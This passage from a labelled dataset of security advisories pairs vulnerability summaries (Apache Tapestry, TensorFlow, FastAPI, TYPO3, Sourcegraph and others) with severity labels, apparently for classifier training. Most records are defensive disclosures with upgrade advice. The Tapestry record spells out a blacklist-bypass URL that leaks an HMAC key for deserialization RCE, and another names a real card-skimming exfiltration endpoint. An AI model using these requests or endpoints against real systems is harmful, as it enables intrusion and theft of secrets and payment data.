"Remote code execution in Apache Tapestry\n\n[Severity: CRITICAL]\n\nA critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file `AppModule.class` by requesting the URL `http://localhost:8080/assets/something/services/AppModule.class` which contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with `.class`, `.properties` or `.xml`. Bypass: Unfortunately, the blacklist solution can simply be bypassed by appending a `/` at the end of the URL: `http://localhost:8080/assets/something/services/AppModule.class/` The slash is stripped after the blacklist check and the file `AppModule.class` is loaded into the response. This class usually contains the HMAC secret key which is used to sign serialized Java objects. With the knowledge of that key an attacker can sign a Java gadget chain that leads to RCE (e.g. CommonsBeanUtils1 from ysoserial). Solution for this vulnerability: * For Apache Tapestry 5.4.0 to 5.6.2, upgrade to 5.6.3 or later. * For Apache Tapestry 5.7.0, upgrade to 5.7.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "512259ab39ceee010e39", "text": "Denial of Service in Tensorflow\n\n### Impact\nThe `RaggedCountSparseOutput` does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the `splits` tensor has the minimum required number of elements. Code uses this quantity to initialize a different data structure:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L241-L244\n\nSince `BatchedMap` is equivalent to a vector, it needs to have at least one element to not be `nullptr`. If user passes a `splits` tensor that is empty or has exactly one element, we get a `SIGABRT` signal raised by the operating system.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "text_raw": "Denial of Service in Tensorflow\n\n[Severity: HIGH]\n\n### Impact\nThe `RaggedCountSparseOutput` does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the `splits` tensor has the minimum required number of elements. Code uses this quantity to initialize a different data structure:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L241-L244\n\nSince `BatchedMap` is equivalent to a vector, it needs to have at least one element to not be `nullptr`. If user passes a `splits` tensor that is empty or has exactly one element, we get a `SIGABRT` signal raised by the operating system.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "33581d9c926194f762d5", "text": "OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege", "text_raw": "OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-07-11", "split": "train"}
-{"id": "51cb7caa621ff07576d7", "text": "Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework, SharePoint, Visual Studio\n\nMicrosoft .NET Framework, Microsoft SharePoint, and Visual Studio contain a remote code execution vulnerability when the software fails to check the source markup of XML file input. Successful exploitation allows an attacker to execute code in the context of the process responsible for deserialization of the XML content.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability\n\nAffected: Microsoft .NET Framework, SharePoint, Visual Studio\n\nMicrosoft .NET Framework, Microsoft SharePoint, and Visual Studio contain a remote code execution vulnerability when the software fails to check the source markup of XML file input. Successful exploitation allows an attacker to execute code in the context of the process responsible for deserialization of the XML content.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "044e5d8c3de94136b888", "text": "SmartFoxServer 2X 2.17.0 Credentials Disclosure", "text_raw": "SmartFoxServer 2X 2.17.0 Credentials Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-02-07", "split": "train"}
-{"id": "f6148ac40562c9f2f487", "text": "Cross-site Scripting in dijit editor's LinkDialog plugin\n\n### Impact\nXSS possible for users of the Dijit Editor's LinkDialog plugin\n\n### Patches\nYes, 1.11.11, 1.12.9, 1.13.8, 1.14.7, 1.15.4, 1.16.3\n\n### Workarounds\nUsers may apply the patch made in these releases.\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in [dojo/dijit](https://github.com/dojo/dijit/)", "text_raw": "Cross-site Scripting in dijit editor's LinkDialog plugin \n\n[Severity: LOW]\n\n### Impact\nXSS possible for users of the Dijit Editor's LinkDialog plugin\n\n### Patches\nYes, 1.11.11, 1.12.9, 1.13.8, 1.14.7, 1.15.4, 1.16.3\n\n### Workarounds\nUsers may apply the patch made in these releases.\n\n\n### For more information\nIf you have any questions or comments about this advisory, open an issue in [dojo/dijit](https://github.com/dojo/dijit/)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "d6bf9c0003bcaee5e859", "text": "Hexo Vulnerable to XSS\n\nHexo versions 0.0.1 to 5.4.0 are vulnerable against stored XSS. The post “body” and “tags” don’t sanitize malicious javascript during web page generation. Local unprivileged attacker can inject arbitrary code.", "text_raw": "Hexo Vulnerable to XSS\n\n[Severity: MEDIUM]\n\nHexo versions 0.0.1 to 5.4.0 are vulnerable against stored XSS. The post “body” and “tags” don’t sanitize malicious javascript during web page generation. Local unprivileged attacker can inject arbitrary code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "f26b8c25a823f135802e", "text": "Malicious Package in another-date-picker\n\nVersion 2.0.43 of `another-date-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 2.0.43 of this module is found installed you will want to replace it with a version before or after 2.0.43. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in another-date-picker\n\n[Severity: CRITICAL]\n\nVersion 2.0.43 of `another-date-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 2.0.43 of this module is found installed you will want to replace it with a version before or after 2.0.43. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "43d477b3fe786ebb4ad9", "text": "Cross-site request forgery in rails_admin\n\nrails_admin ruby gem <v1.1.1 is vulnerable to cross-site request forgery (CSRF) attacks. Non-GET methods were not validating CSRF tokens and, as a result, an attacker could hypothetically gain access to the application administrative endpoints exposed by the gem.", "text_raw": "Cross-site request forgery in rails_admin\n\n[Severity: HIGH]\n\nrails_admin ruby gem <v1.1.1 is vulnerable to cross-site request forgery (CSRF) attacks. Non-GET methods were not validating CSRF tokens and, as a result, an attacker could hypothetically gain access to the application administrative endpoints exposed by the gem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-08", "split": "train"}
-{"id": "9e96c08fa05f77475a62", "text": "Server-Side Request Forgery in Concrete CMS\n\nConcrete CMS (formerly concrete5) versions below 8.5.7 has a SSRF mitigation bypass using DNS Rebind attack giving an attacker the ability to fetch cloud IAAS (ex AWS) IAM keys.To fix this Concrete CMS no longer allows downloads from the local network and specifies the validated IP when downloading rather than relying on DNS.Discoverer.", "text_raw": "Server-Side Request Forgery in Concrete CMS\n\n[Severity: MEDIUM]\n\nConcrete CMS (formerly concrete5) versions below 8.5.7 has a SSRF mitigation bypass using DNS Rebind attack giving an attacker the ability to fetch cloud IAAS (ex AWS) IAM keys.To fix this Concrete CMS no longer allows downloads from the local network and specifies the validated IP when downloading rather than relying on DNS.Discoverer.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "ef36fae6683cae6fb953", "text": "Cross-Site Request Forgery (CSRF) in FastAPI\n\n### Impact\n\nFastAPI versions lower than `0.65.2` that used cookies for authentication in path operations that received JSON payloads sent by browsers were vulnerable to a Cross-Site Request Forgery (CSRF) attack.\n\nIn versions lower than `0.65.2`, FastAPI would try to read the request payload as JSON even if the `content-type` header sent was not set to `application/json` or a compatible JSON media type (e.g. `application/geo+json`).\n\nSo, a request with a content type of `text/plain` containing JSON data would be accepted and the JSON data would be extracted.\n\nBut requests with content type `text/plain` are exempt from [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) preflights, for being considered [Simple requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). So, the browser would execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application.\n\n### Patches\n\nThis is fixed in FastAPI `0.65.2`.\n\nThe request data is now parsed as JSON only if the `content-type` header is `application/json` or another JSON compatible media type like `application/geo+json`.\n\n### Workarounds\n\nIt's best to upgrade to the latest FastAPI.\n\nBut still, it would be possible to add a middleware or a dependency that checks the `content-type` header and aborts the request if it is not `application/json` or another JSON compatible content type.\n\n### References\n\n* [CORS on Mozilla web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [This answer on StackExchange](https://security.stackexchange.com/questions/157528/ways-to-bypass-browsers-cors-policy/157531#157531)\n* [OWASP CSRF](https://owasp.org/www-community/attacks/csrf)\n* Fixed in PR [#2118](https://github.com/tiangolo/fastapi/pull/2118)\n\n### For more information\n\nIf you have any questions or comments, write to [security@tiangolo.com](mailto:security@tiangolo.com)", "text_raw": "Cross-Site Request Forgery (CSRF) in FastAPI\n\n[Severity: HIGH]\n\n### Impact\n\nFastAPI versions lower than `0.65.2` that used cookies for authentication in path operations that received JSON payloads sent by browsers were vulnerable to a Cross-Site Request Forgery (CSRF) attack.\n\nIn versions lower than `0.65.2`, FastAPI would try to read the request payload as JSON even if the `content-type` header sent was not set to `application/json` or a compatible JSON media type (e.g. `application/geo+json`).\n\nSo, a request with a content type of `text/plain` containing JSON data would be accepted and the JSON data would be extracted.\n\nBut requests with content type `text/plain` are exempt from [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) preflights, for being considered [Simple requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). So, the browser would execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application.\n\n### Patches\n\nThis is fixed in FastAPI `0.65.2`.\n\nThe request data is now parsed as JSON only if the `content-type` header is `application/json` or another JSON compatible media type like `application/geo+json`.\n\n### Workarounds\n\nIt's best to upgrade to the latest FastAPI.\n\nBut still, it would be possible to add a middleware or a dependency that checks the `content-type` header and aborts the request if it is not `application/json` or another JSON compatible content type.\n\n### References\n\n* [CORS on Mozilla web docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n* [This answer on StackExchange](https://security.stackexchange.com/questions/157528/ways-to-bypass-browsers-cors-policy/157531#157531)\n* [OWASP CSRF](https://owasp.org/www-community/attacks/csrf)\n* Fixed in PR [#2118](https://github.com/tiangolo/fastapi/pull/2118)\n\n### For more information\n\nIf you have any questions or comments, write to [security@tiangolo.com](mailto:security@tiangolo.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "59e74d5732afc1651fc5", "text": "Unrestricted File Upload in Form Framework\n\n### Problem\nDue to the lack of ensuring file extensions belong to configured allowed mime-types, attackers can upload arbitrary data with arbitrary file extensions - however, default _fileDenyPattern_ successfully blocked files like _.htaccess_ or _malicious.php_.\n\nTYPO3 Extbase extensions, which implement a file upload and do not implement a custom _TypeConverter_ to transform uploaded files into _FileReference_ domain model objects are affected by the vulnerability as well, since the _UploadedFileReferenceConverter_ of _ext:form_ handles the file upload and will accept files of any mime-type which are persisted to the default location.\n\nIn any way, uploaded files are placed in the default location _/fileadmin/user_upload/_, in most scenarios keeping the submitted filename - which allows attackers to directly reference files, or even correctly guess filenames used by other individuals, disclosing this information.\n\nNo authentication is required to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\nType converter _UploadedFileReferenceConverter_ is not registered globally anymore and just handles uploaded files within the scope of the Form Framework. Guessable storage location has changed from _/fileadmin/user_upload/form\\_\\<random-hash\\>/_ to _/fileadmin/form_uploads/<random-40-bit>_. Allowed mime-types must match expected file extensions (e.g. _application/pdf_ must be _.pdf_, and cannot be _.html_).\n\nExtbase extensions, who rely on the global availability of the _UploadedFileReferenceConverter_ must now implement a custom _TypeConverter_ to handle file uploads or explicitly implement the ext:form _UploadedFileReferenceConverter_ with appropriate setting for accepted mime-types.\n\n### Credits\nThanks to Sebastian Michaelsen, Marc Lindemann, Oliver Eglseder, Markus Volkmer, Jakob Kunzmann, Johannes Regner, Richie Lee who reported this issue, and to TYPO3 core & security team members Oliver Hader & Benni Mack, as well as TYPO3 contributor Ralf Zimmermann who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-002](https://typo3.org/security/advisory/typo3-core-sa-2021-002)", "text_raw": "Unrestricted File Upload in Form Framework\n\n[Severity: HIGH]\n\n\n### Problem\nDue to the lack of ensuring file extensions belong to configured allowed mime-types, attackers can upload arbitrary data with arbitrary file extensions - however, default _fileDenyPattern_ successfully blocked files like _.htaccess_ or _malicious.php_.\n\nTYPO3 Extbase extensions, which implement a file upload and do not implement a custom _TypeConverter_ to transform uploaded files into _FileReference_ domain model objects are affected by the vulnerability as well, since the _UploadedFileReferenceConverter_ of _ext:form_ handles the file upload and will accept files of any mime-type which are persisted to the default location.\n\nIn any way, uploaded files are placed in the default location _/fileadmin/user_upload/_, in most scenarios keeping the submitted filename - which allows attackers to directly reference files, or even correctly guess filenames used by other individuals, disclosing this information.\n\nNo authentication is required to exploit this vulnerability.\n\n### Solution\nUpdate to TYPO3 versions 8.7.40, 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\nType converter _UploadedFileReferenceConverter_ is not registered globally anymore and just handles uploaded files within the scope of the Form Framework. Guessable storage location has changed from _/fileadmin/user_upload/form\\_\\<random-hash\\>/_ to _/fileadmin/form_uploads/<random-40-bit>_. Allowed mime-types must match expected file extensions (e.g. _application/pdf_ must be _.pdf_, and cannot be _.html_).\n\nExtbase extensions, who rely on the global availability of the _UploadedFileReferenceConverter_ must now implement a custom _TypeConverter_ to handle file uploads or explicitly implement the ext:form _UploadedFileReferenceConverter_ with appropriate setting for accepted mime-types.\n\n### Credits\nThanks to Sebastian Michaelsen, Marc Lindemann, Oliver Eglseder, Markus Volkmer, Jakob Kunzmann, Johannes Regner, Richie Lee who reported this issue, and to TYPO3 core & security team members Oliver Hader & Benni Mack, as well as TYPO3 contributor Ralf Zimmermann who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-002](https://typo3.org/security/advisory/typo3-core-sa-2021-002)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "2b18cbc16cdc971a5199", "text": "Prototype pollution vulnerability in 'predefine'\n\nPrototype pollution vulnerability in 'predefine' versions 0.0.0 through 0.1.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution vulnerability in 'predefine'\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'predefine' versions 0.0.0 through 0.1.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e492ddf74ab0ac83845c", "text": "Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability\n\nAffected: Progress ASP.NET AJAX and Sitefinity\n\nProgress Telerik UI for ASP.NET AJAX and Sitefinity have a cryptographic weakness in Telerik.Web.UI.dll that can be exploited to disclose encryption keys (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), perform cross-site-scripting (XSS) attacks, compromise the ASP.NET ViewState, and/or upload and download files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability\n\nAffected: Progress ASP.NET AJAX and Sitefinity\n\nProgress Telerik UI for ASP.NET AJAX and Sitefinity have a cryptographic weakness in Telerik.Web.UI.dll that can be exploited to disclose encryption keys (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), perform cross-site-scripting (XSS) attacks, compromise the ASP.NET ViewState, and/or upload and download files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-522\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ad08f2c179692d2c3f6b", "text": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Citrix ADC, Gateway, and SD-WAN WANOP Appliance Information Disclosure Vulnerability\n\nAffected: Citrix Application Delivery Controller (ADC), Gateway, and SD-WAN WANOP Appliance\n\nCitrix ADC, Citrix Gateway, and multiple Citrix SD-WAN WANOP appliance models contain an information disclosure vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2b4e3429e1c67dc019b6", "text": "Open redirect vulnerability in Sourcegraph\n\n### Impact\n\nAn open redirect vulnerability that allows users to be targeted for phishing attacks has been found in Sourcegraph instances configured with OAuth, OpenID, or SAML authentication enabled. Users targeted by these phishing attacks could have their authentication tokens silently harvested by an attacker.\n\n### Specific Go Packages Affected\ngithub.com/sourcegraph/sourcegraph/cmd/frontend/auth\n\n### Resolution\n\nSourcegraph v3.14.4 and v3.15.1 have been released which resolve the vulnerability. ([associated change](https://github.com/sourcegraph/sourcegraph/pull/10167))\n\n### Workarounds\n\nDisabling OAuth, OpenID and/or SAML sign-in options until upgraded to the patched versions will secure Sourcegraph / workaround the issue.\n\n### Timeline\n\n- Apr 23, 8 AM PST: GitHub Security Lab reported the issue to Sourcegraph.\n- Apr 23, 11 PM PST: A Sourcegraph engineer proposed a resolution for the vulnerability. https://github.com/sourcegraph/sourcegraph/pull/10167\n- Apr 24, 3 AM PST: The proposed resolution was reviewed, approved, and merged.\n- Apr 28, 2 PM PST: Patch releases for 3.14.4 and 3.15.1 were published.\n- Apr 29, 10 PM PST: Mitre publicly disclosed [CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283).\n- Apr 30, 11 AM PST: Sourcegraph issued a GitHub security advisory and notified all affected users.\n\n### References\n\n- [Mitre: CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283)\n- [GitHub Security Lab: GHSL-2020-085](https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph)\n- [detectify's blog post on open redirect vulnerabilities\n](https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/)\n\n### For more information\n\nIf you have any questions or comments about this advisory, please contact us at [support@sourcegraph.com](mailto:support@sourcegraph.com) and include `CVE-2020-12283` in the title.", "text_raw": "Open redirect vulnerability in Sourcegraph\n\n[Severity: MEDIUM]\n\n### Impact\n\nAn open redirect vulnerability that allows users to be targeted for phishing attacks has been found in Sourcegraph instances configured with OAuth, OpenID, or SAML authentication enabled. Users targeted by these phishing attacks could have their authentication tokens silently harvested by an attacker.\n\n### Specific Go Packages Affected\ngithub.com/sourcegraph/sourcegraph/cmd/frontend/auth\n\n### Resolution\n\nSourcegraph v3.14.4 and v3.15.1 have been released which resolve the vulnerability. ([associated change](https://github.com/sourcegraph/sourcegraph/pull/10167))\n\n### Workarounds\n\nDisabling OAuth, OpenID and/or SAML sign-in options until upgraded to the patched versions will secure Sourcegraph / workaround the issue.\n\n### Timeline\n\n- Apr 23, 8 AM PST: GitHub Security Lab reported the issue to Sourcegraph.\n- Apr 23, 11 PM PST: A Sourcegraph engineer proposed a resolution for the vulnerability. https://github.com/sourcegraph/sourcegraph/pull/10167\n- Apr 24, 3 AM PST: The proposed resolution was reviewed, approved, and merged.\n- Apr 28, 2 PM PST: Patch releases for 3.14.4 and 3.15.1 were published.\n- Apr 29, 10 PM PST: Mitre publicly disclosed [CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283).\n- Apr 30, 11 AM PST: Sourcegraph issued a GitHub security advisory and notified all affected users.\n\n### References\n\n- [Mitre: CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283)\n- [GitHub Security Lab: GHSL-2020-085](https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph)\n- [detectify's blog post on open redirect vulnerabilities\n](https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/)\n\n### For more information\n\nIf you have any questions or comments about this advisory, please contact us at [support@sourcegraph.com](mailto:support@sourcegraph.com) and include `CVE-2020-12283` in the title.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "62ee379047db999be88d", "text": "Uninitialized memory access in toodee\n\nAn issue was discovered in the toodee crate before 0.3.0 for Rust. The row-insertion feature allows attackers to read the contents of uninitialized memory locations.", "text_raw": "Uninitialized memory access in toodee\n\n[Severity: HIGH]\n\nAn issue was discovered in the toodee crate before 0.3.0 for Rust. The row-insertion feature allows attackers to read the contents of uninitialized memory locations.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "1030a4f3d6e3a9f5c9d6", "text": "Backport for CVE-2021-21024 Blind SQLi from Magento 2\n\n### Impact\nThis vulnerability allows an administrator unauthorized access to restricted resources.\n\nWe fixed a vulnerability in the MySQL adapter to prevent SQL injection attacks. This is a backport of CVE-2021-21024 https://helpx.adobe.com/security/products/magento/apsb21-08.html.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n> v20.0.9 v19.4.13", "text_raw": "Backport for CVE-2021-21024 Blind SQLi from Magento 2\n\n[Severity: CRITICAL]\n\n### Impact\nThis vulnerability allows an administrator unauthorized access to restricted resources. \n\nWe fixed a vulnerability in the MySQL adapter to prevent SQL injection attacks. This is a backport of CVE-2021-21024 https://helpx.adobe.com/security/products/magento/apsb21-08.html. \n\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n> v20.0.9 v19.4.13", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "f7cf8c0976a518fcacf2", "text": "Denial of service in ruby-openid\n\nThe ruby-openid gem before 2.2.2 for Ruby allows remote OpenID providers to cause a denial of service (CPU consumption) via (1) a large XRDS document or (2) an XML Entity Expansion (XEE) attack.", "text_raw": "Denial of service in ruby-openid\n\n[Severity: MEDIUM]\n\nThe ruby-openid gem before 2.2.2 for Ruby allows remote OpenID providers to cause a denial of service (CPU consumption) via (1) a large XRDS document or (2) an XML Entity Expansion (XEE) attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dfb86dd1350f3af4d2e9", "text": "### Impact\nThe CBOR library supports optional tags that enable CBOR objects to contain references to objects within them. Versions earlier than 4.0 resolved those references automatically. While this by itself doesn't cause much of a security problem, a denial of service can happen if those references are deeply nested and used multiple times (so that the same reference to the same object occurs multiple times), and if the decoded CBOR object is sent to a serialization method such as `EncodeToBytes`, `ToString`, or `ToJSONString`, since the objects referred to are expanded in the process and take up orders of magnitude more memory than if the references weren't resolved.\n\nThe impact of this problem on any particular system varies.  In general, the risk is higher if the system allows users to send arbitrary CBOR objects without authentication, or exposes a remote endpoint in which arbitrary CBOR objects can be sent without authentication.\n\n### Patches\nThis problem is addressed in version 4.0 by disabling reference resolution by default.  Users should use the latest version of this library.\n\n### Workarounds\nSince version 3.6, an encoding option (`resolvereferences=true` or `resolvereferences=false`) in CBOREncodeOptions sets whether the CBOR processor will resolve these kinds of references when decoding a CBOR object.  Set `resolvereferences=false` to disable reference resolution.\n\nIn version 3.6, if the method used `CBORObject.Read()` or `CBORObject.DecodeFromBytes()` to decode a serialized CBOR object, call the overload that takes `CBOREncodeOptions` as follows:\n\nCBORObject.DecodeFromBytes(bytes, new CBOREncodeOptions(\"resolvereferences=false\"));\n\nIn versions 3.5 and earlier, this issue is present only if the CBOR object is an array or a map.  If the application does not expect a decoded CBOR object to be an array or a map, it should check the CBOR object's type before encoding that object, as follows:\n\nif (cbor.Type != CBORType.Array && cbor.Type != CBORType.Map) {\n       cbor.EncodeToBytes();\n    }\n\nAlternatively, for such versions, the application can use `WriteTo` to decode the CBOR object to a so-called \"limited memory stream\", that is, a `Stream` that throws an exception if too many bytes would be written.  How to write such a limited-memory stream is nontrivial and beyond the scope of this advisory.\n\nusing(var stream = new LimitedMemoryStream(100000)) { // Limit to 100000 bytes\n         cbor.WriteTo(stream);\n         return stream.ToBytes();\n    }\n\nTo check whether a byte array representing a CBOR object might exhibit this problem, check whether the array contains the byte 0xd8 followed immediately by either 0x19 or 0x1d.  This check catches all affected CBOR objects but may catch some non-affected CBOR objects (notably integers and byte strings).\n\n### References\n\nSee the Wikipedia article [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) and the related issue in [Kubernetes](https://github.com/kubernetes/kubernetes/issues/83253).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the CBOR repository](https://github.com/peteroupc/CBOR).", "text_raw": "High severity vulnerability that affects PeterO.Cbor\n\n[Severity: HIGH]\n\n### Impact\nThe CBOR library supports optional tags that enable CBOR objects to contain references to objects within them. Versions earlier than 4.0 resolved those references automatically. While this by itself doesn't cause much of a security problem, a denial of service can happen if those references are deeply nested and used multiple times (so that the same reference to the same object occurs multiple times), and if the decoded CBOR object is sent to a serialization method such as `EncodeToBytes`, `ToString`, or `ToJSONString`, since the objects referred to are expanded in the process and take up orders of magnitude more memory than if the references weren't resolved.\n\nThe impact of this problem on any particular system varies.  In general, the risk is higher if the system allows users to send arbitrary CBOR objects without authentication, or exposes a remote endpoint in which arbitrary CBOR objects can be sent without authentication.\n\n### Patches\nThis problem is addressed in version 4.0 by disabling reference resolution by default.  Users should use the latest version of this library.\n\n### Workarounds\nSince version 3.6, an encoding option (`resolvereferences=true` or `resolvereferences=false`) in CBOREncodeOptions sets whether the CBOR processor will resolve these kinds of references when decoding a CBOR object.  Set `resolvereferences=false` to disable reference resolution.\n\nIn version 3.6, if the method used `CBORObject.Read()` or `CBORObject.DecodeFromBytes()` to decode a serialized CBOR object, call the overload that takes `CBOREncodeOptions` as follows:\n\n    CBORObject.DecodeFromBytes(bytes, new CBOREncodeOptions(\"resolvereferences=false\"));\n\nIn versions 3.5 and earlier, this issue is present only if the CBOR object is an array or a map.  If the application does not expect a decoded CBOR object to be an array or a map, it should check the CBOR object's type before encoding that object, as follows:\n\n    if (cbor.Type != CBORType.Array && cbor.Type != CBORType.Map) {\n       cbor.EncodeToBytes();\n    }\n\nAlternatively, for such versions, the application can use `WriteTo` to decode the CBOR object to a so-called \"limited memory stream\", that is, a `Stream` that throws an exception if too many bytes would be written.  How to write such a limited-memory stream is nontrivial and beyond the scope of this advisory.\n\n    using(var stream = new LimitedMemoryStream(100000)) { // Limit to 100000 bytes\n         cbor.WriteTo(stream);\n         return stream.ToBytes();\n    }\n\nTo check whether a byte array representing a CBOR object might exhibit this problem, check whether the array contains the byte 0xd8 followed immediately by either 0x19 or 0x1d.  This check catches all affected CBOR objects but may catch some non-affected CBOR objects (notably integers and byte strings).\n\n### References\n\nSee the Wikipedia article [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) and the related issue in [Kubernetes](https://github.com/kubernetes/kubernetes/issues/83253).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the CBOR repository](https://github.com/peteroupc/CBOR).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-30", "split": "train"}
